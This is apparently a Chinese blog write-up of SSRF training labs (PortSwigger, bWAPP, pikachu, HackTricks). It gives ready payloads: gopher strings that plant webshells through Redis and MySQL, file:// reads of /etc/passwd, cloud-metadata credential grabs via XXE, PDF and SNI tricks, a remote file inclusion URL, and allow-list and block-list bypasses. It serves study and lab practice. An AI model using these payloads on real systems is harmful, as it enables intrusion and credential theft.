SSRF打靶总结
文章目录
- 一. PortSwigger
- 1、本地服务器的基本SSRF
- 2、基本的目标不是漏洞机
- 3、Referer标头的外带SSRF
- 4、简单黑名单的SSRF
- 黑名单绕过思路:
- 5、重定向的SSRF
- 6. 简单的白名单SSRF
- 白名单绕过思路:
- 二、BWAPP
- 1. SSRF + 文件包含漏洞 | 内网探测
- 2. XXE -> SSRF
- 三、pikachu
- 1. file协议 | 读取文件
- 2. dict协议 | **快速端口探测与服务识别**
- 四、HackTricks
- 1. gopher协议 | RCE
- 协议介绍:
- 2. http协议 | 获取元数据
- 3. PDF SSRF
- 4. Referer SSRF
- 5. SNI SSRF
- 二、利用
- 三、案例
- 6. 代理劫持 SSRF (类似SNI Nginx SSRF)
一. PortSwigger
1、本地服务器的基本SSRF
抓请求包,发现存在一个socketapi,后面跟着的是网址,直接替换成 http://localhost/admin
2、基本的目标不是漏洞机
发现改为loaclhost没用,提示内网网段是192.168.0.x,端口是8080,直接bp的intruder跑,最终发现目标在192.168.0.5上。
3、Referer标头的外带SSRF
首先此URL是在Referer中的,并且没用回显,所以直接使用collaborator的url,外带。
4、简单黑名单的SSRF
对127.0.0.1和admin进行了黑名单;
黑名单绕过思路:
-
短链,原理重定向
-
对域名的黑名单:
- 域名解析
-
IP混淆
- ipv4非标准格式
- ipv6
- ip分段和省略
-
url编码
-
对ip的黑名单:
-
DNS重绑
-
SNI + 域名注册解析
客户端发送:目标 IP 地址:1.2.3.4(这个不在黑名单中)SNI 域名:evil.me -> 192.168.1.100服务端校验 IP:1.2.3.4 没在黑名单 ✅,放行代理或网关(如 Envoy)收到请求:根据 SNI(evil.me)查找对应的 内部服务配置实际将请求路由到 → 192.168.1.100
-
5、重定向的SSRF
攻击面在重定向的url里
6. 简单的白名单SSRF
白名单绕过思路:
- 对ip的白名单
- DNS重绑
- 域名@:
http://trusted.com@evil.com
- 域名#:
https://evil-host#expected-host
- 注册域名:https://expected-host.evil-host
二、BWAPP
1. SSRF + 文件包含漏洞 | 内网探测
http://**ip1**/bWAPP/rlfi.php?language=http://**ip2**/evil/ssrf-1.txt&action=go
POST DATA:**ip3**
解释:
- ip1存在ssrf
- ip2为自己的ip
- ip3为目标的内网ip,ip2范围不了
- 在ip1上又存在文件包含漏洞
- ip2上放应该扫描脚本,让ip1包含
2. XXE -> SSRF
维度 | XXE | SSRF |
---|---|---|
触发机制 | 通过恶意 XML 输入触发 | 通过用户控制的 URL 参数触发 |
主要攻击面 | 文件读取、内网探测、DoS、SSRF 等 | 内网服务访问、云元数据窃取、端口扫描等 |
协议支持 | 支持多种协议(HTTP、FILE、Gopher 等) | 通常依赖 HTTP/HTTPS |
防御重点 | 禁用外部实体和 DTD | 校验请求目标、网络隔离 |
当 XXE 的外部实体指向一个网络资源时,服务器会尝试发起请求,此时 XXE 的利用效果与 SSRF 一致。
示例:
<!DOCTYPE root [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">
]>
<root>&xxe;</root>
- 效果:服务器访问云元数据接口,等同于 SSRF 攻击。
三、pikachu
1. file协议 | 读取文件
-
协议支持广泛性
- 许多编程语言的网络库默认支持多种协议(如
HTTP
、HTTPS
、FTP
、File
)。 - 例如:
- PHP 的
file_get_contents()
支持file://
。 - Python 的
urllib.request.urlopen()
支持file://
。
- PHP 的
- 许多编程语言的网络库默认支持多种协议(如
-
输入验证不严
-
若服务端未对用户输入的协议类型进行过滤,攻击者可构造
file://
路径。 -
示例漏洞代码(PHP):
$url = $_GET['url']; // 用户可控输入 $content = file_get_contents($url); echo $content;
攻击者提交
?url=file:///etc/passwd
,服务器返回/etc/passwd
内容。
-
-
编码混淆绕过
-
攻击者可能对路径进行 URL 编码,绕过简单过滤:
file://%2Fetc%2Fpasswd → 解码为 file:///etc/passwd
-
2. dict协议 | 快速端口探测与服务识别
服务名称 | 默认端口 | 示例 Payload | 响应特征 | 攻击用途 |
---|---|---|---|---|
Redis | 6379 | dict://127.0.0.1:6379/info | 返回 Redis 版本、配置信息(如 redis_version:6.0.9 ) | 探测 Redis 服务、执行未授权命令(如 FLUSHALL 、CONFIG SET ) |
Memcached | 11211 | dict://127.0.0.1:11211/stats | 返回统计信息(如 STAT pid 1 、STAT version 1.6.9 ) | 探测 Memcached 服务、查看统计信息 |
Elasticsearch | 9200 | dict://127.0.0.1:9200/_cluster/health | 返回 JSON 格式集群健康信息(如 "status":"green" ) | 确认 Elasticsearch 服务状态 |
SSH | 22 | dict://127.0.0.1:22/ | 返回 SSH 协议标识(如 SSH-2.0-OpenSSH_8.2p1 ) | 探测 SSH 服务、获取版本信息 |
ZooKeeper | 2181 | dict://127.0.0.1:2181/stat | 返回 ZooKeeper 状态(如 Zookeeper version: 3.6.3 ) | 确认 ZooKeeper 服务存活 |
FTP | 21 | dict://127.0.0.1:21/ | 返回 FTP 欢迎信息(如 220 FTP Server ready ) | 探测 FTP 服务、获取版本信息 |
SMTP | 25 | dict://127.0.0.1:25/HELO | 返回 SMTP 响应(如 250 smtp.example.com ) | 探测 SMTP 服务、验证邮件服务器 |
HTTP | 80/443 | dict://127.0.0.1:80/GET / HTTP/1.0 | 返回 HTTP 响应头(如 HTTP/1.1 200 OK ) | 探测 Web 服务、验证 HTTP 协议支持 |
PostgreSQL | 5432 | dict://127.0.0.1:5432/ | 返回错误(如 Protocol error )或连接成功无响应 | 探测 PostgreSQL 端口开放状态 |
MySQL | 3306 | dict://127.0.0.1:3306/ | 返回 MySQL 协议握手包(需解析二进制数据) | 探测 MySQL 服务存活 |
DNS | 53 | dict://127.0.0.1:53/ | 无响应或返回协议错误(需 UDP 协议支持) | 探测 DNS 服务端口开放状态 |
MongoDB | 27017 | dict://127.0.0.1:27017/ | 返回 MongoDB 协议握手包(需解析二进制数据) | 探测 MongoDB 服务存活 |
RDP | 3389 | dict://127.0.0.1:3389/ | 返回 RDP 协议握手包(需解析二进制数据) | 探测远程桌面服务状态 |
VNC | 5900 | dict://127.0.0.1:5900/ | 返回 RFB 协议标识(如 RFB 003.008 ) | 探测 VNC 服务版本 |
四、HackTricks
1. gopher协议 | RCE
协议介绍:
Gopher协议是一种古老的、基于TCP的协议,支持直接指定IP、端口和任意字节流(payload)。这意味着攻击者可以通过Gopher协议构造几乎任何类型的TCP数据包,不仅限于HTTP请求,从而突破HTTP协议的限制。
Gopher协议支持构造完整的GET和POST请求数据包。攻击者可以先抓取请求的原始数据包(包括头部和body),将其转换为Gopher格式,通过SSRF漏洞发送到目标服务。
目标服务 | 攻击场景 | Payload 构造步骤 | 修复建议 |
---|---|---|---|
Redis 未授权访问 | 通过 CONFIG SET 修改持久化路径,写入 Webshell 或 SSH 密钥。 | 1. 构造 Redis 命令:CONFIG SET dir /var/www/html 2. 转换为 Gopher 格式并 URL 编码: gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0ax%0d%0a$5%0d%0a12345%0d%0a*1%0d%0a$4%0d%0asave%0d%0a | 1. 启用 Redis 密码认证 2. 禁止绑定公网 IP |
MySQL 未授权执行 | 利用无密码认证漏洞发送恶意 SQL 语句(需协议握手包构造)。 | 1. 构造 MySQL 认证包(十六进制): gopher://127.0.0.1:3306/_%01%00%00%01%85%00%00%00%00%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00 2. 附加 SQL 语句(如 SELECT '<?php system($_GET[cmd]); ?>' INTO OUTFILE '/var/www/html/shell.php' )。 | 1. 强制密码认证 2. 禁用 INTO OUTFILE 权限 |
SMTP 邮件伪造 | 伪造发件人发送钓鱼邮件或垃圾邮件。 | 1. 构造 SMTP 命令序列: HELO attacker.com%0d%0aMAIL FROM:<spoof@example.com>%0d%0aRCPT TO:<victim@example.com>%0d%0aDATA%0d%0aSubject: Test%0d%0aHello!%0d%0a.%0d%0aQUIT 2. 生成 Gopher URL: gopher://smtp.example.com:25/_HELO%20attacker.com%250d%250a... | 1. 启用 SMTP 身份验证 2. 配置 SPF/DKIM/DMARC 反伪造策略 |
FastCGI RCE | 利用 PHP-FPM 未授权访问执行系统命令。 | 1. 构造 FastCGI 请求包: gopher://127.0.0.1:9000/_%01%01...{恶意载荷}... 2. 载荷包含 SCRIPT_FILENAME 指向 PHP 文件,PHP_VALUE 注入代码。 | 1. 限制 FastCGI 监听地址 2. 配置 PHP-FPM 访问控制 |
Memcached 未授权 | 通过 set 命令写入恶意缓存数据,触发反序列化漏洞。 | 1. 构造 Memcached 命令: set key 0 3600 10%0d%0aevil_data%0d%0a 2. 转换为 Gopher URL: gopher://127.0.0.1:11211/_set%20key%200%203600%2010%0d%0aevil_data%0d%0a | 1. 绑定本地回环地址 2. 启用 SASL 认证 |
Zabbix 未授权 RCE | 利用 Zabbix Server 的 script.exec 执行系统命令。 | 1. 构造 JSON-RPC 请求: {"jsonrpc":"2.0","method":"script.update","params":{"scriptid":"1","command":"id"},"id":1} 2. 转换为 Gopher 载荷: gopher://zabbix-server:10051/_POST%20... | 1. 限制 Zabbix Server 的 API 访问 2. 更新至最新版本 |
HTTP 请求伪造 | 穿透内网访问管理接口(如 Jenkins、Kubernetes API)。 | 1. 构造 HTTP 请求头: GET /manager/html HTTP/1.1%0d%0aHost: 192.168.1.100%0d%0a%0d%0a 2. 生成 Gopher URL: gopher://192.168.1.100:8080/_GET%20/manager/html%20HTTP/1.1%250d%250aHost:%20192.168.1.100%250d%250a%250d%250a | 1. 网络隔离内网服务 2. 启用身份认证 |
2. http协议 | 获取元数据
目标:通过 SSRF 获取云服务的敏感信息。
关键点:
- 访问 AWS 元数据服务(如
http://169.254.169.254/latest/meta-data/
)获取凭证。 - 在 AWS ECS 中,读取环境变量(如
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI
)获取凭证 。
3. PDF SSRF
-
恶意元素:在 PDF 中嵌入指向内部服务的图像或字体 URL。
-
攻击流程:
-
用户上传包含以下内容的 PDF:
<</Type /Page/Contents [ <</Length 100>> streamBT /F1 20 Tf 100 700 Td (Click me) Tj ET<</Subtype /Image/Width 100/Height 100/ColorSpace /DeviceRGB/BitsPerComponent 8/Filter /ASCIIHexDecode /Length 50>> stream2 0 obj <</Length 10>> stream http://169.254.169.254/latest/meta-data/
-
服务器解析 PDF 时尝试加载外部图像,向云元数据接口发起请求。
-
响应数据可能被记录或返回给攻击者,导致敏感信息(如 IAM 凭证)泄露。
-
4. Referer SSRF
目标:利用 Referer 头部引发 SSRF。
关键点:
- 某些服务器会访问 Referer 头部中的 URL,攻击者可控制该头部引导服务器访问恶意资源 。HackTricks
- 使用工具(如 Burp Suite 的 Collaborator Everywhere 插件)辅助发现此类漏洞。HackTricks
5. SNI SSRF
一、SNI作用 | 支持多域名共享同一 IP 地址
- 场景:一台服务器(IP 地址)托管多个 HTTPS 网站(如 example.com 和 test.com),每个网站有独立的 SSL/TLS 证书。
- 问题:在 TLS 握手时,服务器需要先提供证书,但 HTTP 请求的 Host 头(包含域名)在加密通道建立后才发送,服务器无法提前知道客户端想要哪个证书。
- SNI 的作用
- 客户端在 TLS 握手的 ClientHello 消息中包含 SNI 扩展,指定目标域名(如 example.com)。
- 服务器根据 SNI 值选择并返回对应的证书。
- 结果:无需为每个域名分配独立 IP,降低了成本,广泛应用于虚拟主机、CDN 和云服务。
二、利用
✅ 1. SNI 伪装访问内网 IP(绕过 IP 黑名单)
- 注册一个域名
evil.me
,将其 DNS 指向192.168.1.100
- 发起 SSRF 到
https://evil.me
- 设置 SNI 为
evil.me
- 服务器通过内部 DNS 解析
evil.me
,请求到达内网服务 ✅
✅ 2. SNI + Nginx $ssl_server_name
动态代理 SSRF
proxy_pass https://$ssl_server_name;
- 发请求时设置 SNI 为内网 IP:
192.168.1.100
- 即使请求 URL 是公网域名,服务端也会根据 SNI 反代进内网!
三、案例
🧊 案例 1:AWS 元数据 SSRF 绕过(SNI 伪装)
curl --resolve metadata.aws:443:169.254.169.254 https://metadata.aws
- 你设置了 DNS:metadata.aws → 169.254.169.254(元数据地址)
- SNI 设置为 metadata.aws(看起来合法)
- 请求实际打到元数据服务器 ✅
- 获取 IAM 临时凭证、AccessKey 等敏感数据
🧊 案例 2:Nginx SSRF 利用 $ssl_server_name
proxy_pass https://$ssl_server_name;openssl s_client -connect target.com:443 -servername 192.168.1.100
- 客户端设置
SNI: 192.168.1.100
- 请求发给
target.com
- 服务器看到
$ssl_server_name = 192.168.1.100
- 自动反代到
https://192.168.1.100
✅
6. 代理劫持 SSRF (类似SNI Nginx SSRF)
攻击姿势:
通过控制中间代理或反向代理的标头(如 X-Forwarded-Host
),篡改请求目标。
示例请求:
POST /ssrf?target=https://go.dialexa.com HTTP/1.1
Host: victim.com
X-Original-Host: 127.0.0.1 # 篡改代理标头
攻击逻辑:
-
反向代理(如 Nginx)可能信任
X-Original-Host
标头,覆盖实际 Host:location /ssrf {proxy_pass http://$http_x_original_host; # 漏洞点 }
-
实际请求被代理到
http://127.0.0.1
,而非go.dialexa.com
。
生效条件:
- 代理服务信任并解析特定标头(如
X-Forwarded-For
、X-Original-Host
)。 - 标头值未被过滤,允许注入内网 IP 或域名。
相关文章:
SSRF打靶总结
文章目录 一. PortSwigger1、本地服务器的基本SSRF2、基本的目标不是漏洞机3、Referer标头的外带SSRF4、简单黑名单的SSRF黑名单绕过思路: 5、重定向的SSRF6. 简单的白名单SSRF白名单绕过思路: 二、BWAPP1. SSRF 文件包含漏洞 | 内网探测2. XXE -> S…...
第五章:5.1 ESP32物联网应用 - MQTT协议深度教程
一、MQTT协议简介 1.1 发布/订阅模式 MQTT(Message Queuing Telemetry Transport)是一种轻量级物联网通信协议,采用发布/订阅模式: 发布者(Publisher):发送消息到指定主题(如&…...
c++知识点
高级模板技术45: 模板元编程:这是一种在编译期进行计算和代码生成的技术。通过模板的递归展开、特化等操作,可以实现一些复杂的功能,例如编译期的计算、类型安全的容器等。例如,使用模板元编程可以实现一个编译期计算斐…...
【ChCore Lab 01】Bomb Lab 拆炸弹实验(ARM汇编逆向工程)
文章目录 1. 前言2. 实验代码版本问题3. 关于使用问题4. 宏观分析5. read_line 函数介绍6. phase_0 函数6.1. read_int 函数6.2. 回到 phase_0 函数继续分析6.3. 验证结果 7. phase_1 函数7.2. 验证结果 8. phase_2 函数8.1. read_8_numbers 函数8.2. 回到 phase_2 函数继续分析…...
QStackedWidget讲解
简介 QStackedWidget 类在一次仅显示1个窗口的地方提供一个窗口栈。 头文件:#include qmake:QT widgets 基类:QFrame 属性 count : const int currentIndex : int 公有槽函数 void setCurrentIndex(int index) void setCurrentWidget(QWidget *widget)信号 void current…...
宝马集团加速 ERP 转型和上云之旅
宝马集团(BMW Group)作为全球领先的豪华汽车和摩托车制造商,致力于构建更加智能、绿色、人性化的出行体验。为了支持其全球化、数字化业务战略,宝马集团正在进行大规模的 IT 体系升级和 ERP 云转型。该项目以“RISE with SAP S/4H…...
AutoEval:现实世界中通才机器人操作策略的自主评估
25年3月来自 UC Berkeley 和 Nvidia 的论文“AutoEval: Autonomous Evaluation of Generalist Robot Manipulation Policies in the Real World”。 可规模化且可复现的策略评估一直是机器人学习领域长期存在的挑战。评估对于评估进展和构建更优策略至关重要,但在现…...
ARM Cortex M内存屏障指令__dsb( )和__isb( )
ARM Cortex-M 系列处理器中的 __dsb() 和 __isb() 是内存屏障指令,用于确保内存操作的顺序性和可见性,尤其在涉及外设、多核/多线程、自修改代码或关键系统配置时至关重要。 一,详细说明和典型应用场景 1. __dsb()(Data Synchron…...
deepseek热度已过?
DeepSeek的热度并没有消退,以下是具体表现: 用户使用量和下载量方面 • 日活跃用户量增长:DeepSeek已经成为目前最快突破3000万日活跃用户量的应用程序。 • 应用商店下载量:1月26日,DeepSeek最新推出的AI聊天机器人…...
使用 Datadog 和 Slack Alerts 监控 minikube
为什么要监控 minikube 集群?这是一个不错的练习,可以让你了解 DataDog 的设置过程并探索 K8s 指标产品。 本文将分享我的以下经验: 设置最新的 minikube部署示例应用程序创建 DataDog(试用)帐户使用 Helm 安装 Data…...
深入 Redis 持久化:从原理到企业级应用的全景图
🧠 什么是 Redis 持久化?为什么需要? Redis 是内存型数据库,默认所有数据都存在内存中,一旦断电,数据就会消失。为了避免重要数据丢失,Redis 提供了持久化机制,用于将内存中的数据保…...
NET模式下如何配置虚拟机的IP地址为静态的
1.查看网关: 2.找到虚拟机的网络配置文件 cd ./etc/sysconfig/network-scripts/ vim ifcfg-ens33 3.修改配置 BROWSER_ONLY"no" IPADDR192.168.122.120 NETMASK255.255.255.0 GATEWAY192.168.122.2 DNS18.8.8.8 4.重启网路服务 sudo systemctl rest…...
VMWare Workstation Pro17.6最新版虚拟机详细安装教程(附安装包教程)
目录 前言 一、VMWare虚拟机下载 二、VMWare虚拟机安装 三、运行虚拟机 前言 VMware 是全球领先的虚拟化技术与云计算解决方案提供商,通过软件模拟计算机硬件环境,允许用户在一台物理设备上运行多个独立的虚拟操作系统或应用。其核心技术可提升硬件…...
磐石云智能语音客服系统——技术革新引领服务新体验
在人工智能技术飞速发展的今天,企业对于智能化客户服务的需求日益增长。磐石云智能语音客服系统凭借其前沿技术架构与深度场景适配能力,正在重新定义人机交互的边界。本文将深入解析该系统如何通过技术创新实现服务效率与体验的双重突破。 一、意图识别…...
什么是iPaaS?
在当今数字化时代,企业面临着日益复杂的IT环境和不断增长的业务需求。随着云计算、微服务、物联网等技术的快速发展,企业需要更加高效、灵活且安全的方式来进行数据集成和应用集成。集成平台即服务(iPaaS)应运而生,成为…...
Vue3 中 Pinia 持久化的全面解析和最佳实践
Vue3 中 Pinia 持久化的全面解析 一、Pinia 简介 Pinia 是 Vue 的新一代状态管理库,它提供了简洁的 API,支持 Composition API,并且拥有良好的代码拆分和热更新能力。相比于 Vuex,Pinia 的代码结构更加扁平,易于理…...
蓝桥杯最后一天警告!!!
1.万能头文件 #include <bits/stdc.h> 2.一道题实在一点都不会,直接碰运气骗分 #include <bits/stdc.h> using namespace std;int main() {srand(time(0));printf("%d",rand()%101);//生成一个1到10之间的随机整数,并输出print…...
el-time-picker标签的使用
需求: 实现培训日期,用户可以选择某一天的日期,这个比较简单 <el-form-item label"培训日期" prop"startTime"><el-date-picker clearablev-model"form.startTime"type"date"placeholder…...
Mysql--基础知识点--85.1--Innodb自适应哈希索引
1. 自适应哈希索引的用途 InnoDB 的自适应哈希索引(Adaptive Hash Index, AHI)是 MySQL 数据库引擎中一项智能优化查询性能的功能。其核心作用如下: 加速等值查询 哈希索引通过哈希函数将键映射到固定位置,实现 O(1) 时间复杂度的…...
Matlab 考虑电机激励力的整车垂向七自由度的被动悬架和LQR控制
1、内容简介 Matlab 200-考虑电机激励力的整车垂向七自由度的被动悬架和LQR控制 可以交流、咨询、答疑 2、内容说明 略 3、仿真分析 略 4、参考论文 略...
统一功能处理
SpringBoot统一功能处理 本节目表 1.掌握拦截器的使用,及其原理 2.学习统一数据返回格式和统一异常处理的操作 3.了解一些Spirng的源码 文章目录 SpringBoot统一功能处理前言一、拦截器是什么?二、使用步骤1.定义拦截器2.注册配置拦截器 三,适…...
LibreOffice Writer使用01去除单词拼写判断的红色下划线
这个软件还是非常有特色的,因为大家需要office的全部功能,常常忽略了这个软件的使用体验。 csdn不是特别稳定,linux也没有什么比较好的md编辑器,所以我选择这个软件来记录我的临时博客,原因无他,它可以保存…...
JAVA基础 - 高效管理线程隔离数据结构ThreadLocalMap
欢迎光临小站:致橡树 ThreadLocalMap 是 ThreadLocal 的核心底层数据结构,负责在每个线程中存储与 ThreadLocal 实例绑定的数据。它的设计目标是高效管理线程隔离数据,同时尽量减少内存泄漏风险。以下是其核心实现细节。 数据结构与设计目标…...
每日一题(小白)暴力娱乐篇25
由题意直知,要求将给定的字符串转为符合格式的字符串。首先我们来思考一下例如02/02/02这样的数字日月肯定不用进行修改,修改后需要加上对应的年份的前两位,题目要求1960年1月1日~2059年12年12月31日,(对1960年至2059年…...
地表水-地下水耦合建模全景解析暨SWAT-MODFLOW地表与地下协同模拟及多情景专题应用
第一、模型原理与层次结构 1.1流域水循环与SWAT模型 1.2 地下水模拟与MODFLOW模型 1.3 SWAT-MODFLOW地表-地下耦合模型 1.4 QSWATMOD 插件与功能介绍 1.5 模型实现所需软件平台 第二、QGIS软件 2.1 QGIS平台 2.2 QGIS安装 2.3 QGIS界面认识 2.4 QGIS常见数据格式 2.…...
在线论坛系统
在线论坛 项目介绍项目使用技术介绍前端技术栈后端技术栈 项目运行步骤说明后端运行步骤前端运行步骤 项目使用说明用户端功能管理员端功能 部分功能说明运行截图用户端管理员端 系统源码 项目介绍 这是一个基于现代技术栈开发的在线论坛系统,提供用户交流、内容分享…...
webrtc pacer模块(一) 平滑处理的实现
Pacer起到平滑码率的作用,使发送到网络上的码率稳定。如下的这张创建Pacer的流程图,其中PacerSender就是Pacer,其中PacerSender就是Pacer。这篇文章介绍它的核心子类PacingController及Periodic模式下平滑处理的基本流程。平滑处理流程中还有…...
新能源车「大三电」与「小三电」
一、大三电系统 动力电池 作为整车的能量核心,目前主流类型包括三元锂电池(NCM/NCA)和磷酸铁锂电池(LFP),前者能量密度高,后者安全性和成本优势显著。动力电池通过模组串联形成电池包…...
xlinx GT传输器学习
xlinx有2路refclk会输入到gtbank。此2路bank输入时钟是差分输入,经过IBUFDS_GTE2源语转换为单端。如下图。 从fpga外输入高速差分时钟。 差分时钟转换为单端。 单端时钟输入到gt_common模块 下图为gt内部结构图...
C++笔记之父类引用是否可以访问到子类特有的属性?
C++笔记之父类引用是否可以访问到子类特有的属性? code review! 参考笔记 1.C++笔记之在基类和派生类之间进行类型转换的所有方法 文章目录 C++笔记之父类引用是否可以访问到子类特有的属性?1.主要原因2.示例代码3.说明4.如何访问子类特有的属性5.注意事项6.总结在 C++ 中,…...
基于SSM框架的房屋租赁小程序开发与实现
概述 一个基于SSM框架开发的微信小程序房屋租赁管理系统,该项目实现了用户管理、中介管理、房源信息管理等核心功能。 主要内容 一、管理员模块功能实现 用户管理 管理员可对通过微信小程序注册的用户信息进行修改和删除操作,确保用户数据的准…...
大模型评估论文粗读“AGIEval: A Human-Centric Benchmark for Evaluating Foundation Models“
Zhong W, Cui R, Guo Y, et al. Agieval: A human-centric benchmark for evaluating foundation models[J]. arXiv preprint arXiv:2304.06364, 2023. 摘要翻译 评估大模型在处理人类层级的任务时的通用能力,是AGI发展和应用中至关重要的一环。传统的衡量标准通常依…...
程序化广告行业(76/89):行业融资全景剖析与代码应用拓展
程序化广告行业(76/89):行业融资全景剖析与代码应用拓展 大家好!在之前的文章里,咱们一起了解了程序化广告行业的发展趋势以及PC端和移动端投放的差异。今天,咱们接着深入学习,这次聚焦在程序化…...
网工基础 | 常见英文术语注解
原创:厦门微思网络 以下是一些网工专业常见的英文术语注解: IP Address(Internet Protocol Address) 互联网协议地址,是分配给连接到互联网的设备的唯一标识符,用于在网络中定位和通信。例如,“…...
【FPGA开发技巧】Modelsim仿真中,显示状态机的名称,而非编码数字
示例 被仿真的文件名为:cmd_handle.v,其中有r_st_current和r_st_next两个状态机变量。 该模块在tb文件中,被例化的名称为cmd_handle_u0 按照如下格式写:cmd_handle_u0.r_st_current 示例tb文件: timescale 1ns / 1…...
二分答案----
二分答案 - 题目详情 - HydroOJ 问题描述 给定一个由n个数构成的序列a,你可以进行k次操作,每次操作可以选择一个数字,将其1,问k次操作以后,希望序列里面的最小值最大。问这个值是多少。 输入格式 第一行输入两个正…...
Nginx 命令大全:Linux 与 Windows 系统的全面解析
Nginx 是一个高性能的 HTTP 和反向代理服务器,广泛应用于 Web 服务、负载均衡和反向代理等场景。本文将从 Linux 和 Windows 系统的角度出发,详细解析 Nginx 的常用命令,并区分两种系统之间的差异,帮助你高效地管理和维护 Nginx 服…...
我的计算机网络(总览篇)
总览--网络协议的角度 在一个庞大的网络中,该从哪里去了解呢?我先细细的讲一下我们访问一个网站的全部流程,当我们的电脑连上网络的时候,就会启动DHCP协议,来进行IP地址,MAC地址,DNS地址的分配…...
开源CMS的模块化设计和API接口如何具体影响其扩展性?
优秀的CMS系统都有自己主打的特点,开源CMS凭借其灵活性和低成本优势占据了市场主流地位,而模块化设计与API接口正是其扩展性的两大基石。本文将深入探讨这两大技术特性是如何影响cms的扩展性的。 一、模块化设计:功能解耦与生态繁荣的引擎 …...
【网络原理】网络通信基础
目录 一. 网络发展史 (1)局域网 (2)广域网 二. 网络基础知识 (1)IP地址 (2)端口号 (3)协议 (4)五元组 一. 网络发展史 网络的发…...
Win11系统 VMware虚拟机 安装教程
Win11系统 VMware虚拟机 安装教程 一、介绍 Windows 11是由微软公司(Microsoft)开发的操作系统,应用于计算机和平板电脑等设备 。于2021年6月24日发布 ,2021年10月5日发行 。 Windows 11提供了许多创新功能,增加了新…...
新手宝塔部署thinkphp一步到位
目录 一、下载对应配置 二、加载数据库 三、添加FTP 四、上传项目到宝塔 五、添加站点 六、配置伪静态 七、其他配置 开启监控 八、常见错误 一、打开宝塔页面,下载对应配置。 二、加载数据库 从本地导入数据库文件 三、添加FTP 四、上传项目到宝塔…...
MCU如何查看系统有没有卡死
前言:在我们调试单片机的时候,经常会遇到系统非预期运行的状况。造成系统卡死的原因有很多,主要有:野指针,数组越界,死锁,还有一些while写入的一些逻辑错误。本文就如何排查这些问题,…...
有哪些反爬机制可能会影响Python爬取视频?如何应对这些机制?
文章目录 前言常见反爬机制及影响1. IP 封禁2. 验证码3. 请求头验证4. 动态加载5. 加密与混淆6. 行为分析 应对方法1. 应对 IP 封禁2. 应对验证码3. 应对请求头验证4. 应对动态加载5. 应对加密与混淆6. 应对行为分析 前言 在使用 Python 爬取视频时,会遇到多种反爬…...
【辰辉创聚生物】提供上万种单抗/多抗及其偶联物
辰辉创聚生物致力于提供高质量的一抗(Primary Antibodies)、二抗(Secondary Antibodies)和对照抗体(Control Antibodies),支持分子生物学、免疫学及生物医学科学领域的前沿研究。我们拥有超过40…...
Google Chrome Canary版官方下载及安装教程【适用于开发者与进阶用户】
谷歌浏览器(Google Chrome)以其高性能、强扩展性和良好的用户体验深受全球用户喜爱。在其多个版本中,Chrome Canary因具备最前沿的功能测试环境,成为开发者和技术探索者的首选。如果你希望第一时间体验Google Chrome最新功能&…...
BERT - BERT 模型综述
1. BERT的两个任务 (1)Pre-Training 预训练 Masked LM (MLM) - 让模型预测被隐藏(Mask)掉的token。 例如:输入“我喜欢吃[MASK]”,Label是“我喜欢吃苹果”, 模型需要预测出“苹果”。这种…...
Vue 大文件分片上传组件实现解析
Vue 大文件分片上传组件实现解析 一、功能概述 1.1本组件基于 Vue Element UI 实现,主要功能特点: 大文件分片上传:支持 2MB 分片切割上传实时进度显示:可视化展示每个文件上传进度智能格式校验:支持文件类型、大小…...
Matlab 电机激励模型和仿真
1、内容简介 Matlab 191-电机激励模型和仿真 可以交流、咨询、答疑 2、内容说明 略 3、仿真分析 略 clc close all clear Tn 165;%电机转矩 R 0.05;%定子半径 n0 1800;% 电机转速 i 2;%额定电流 Lmin 4.95;%最小电感 k 82.5; Nr 6;%转子级数 T 60/Nr/n0;%周期 b 0…...
GPU算力优化
GPU(图形处理单元)算力优化是提升计算性能的重要任务,在深度学习、科学计算等领域有重要意义。下面从硬件层面、软件层面和算法层面为你介绍一些优化方法: 硬件层面 选择合适的 GPU:不同的 GPU 在算力、显存、功耗等…...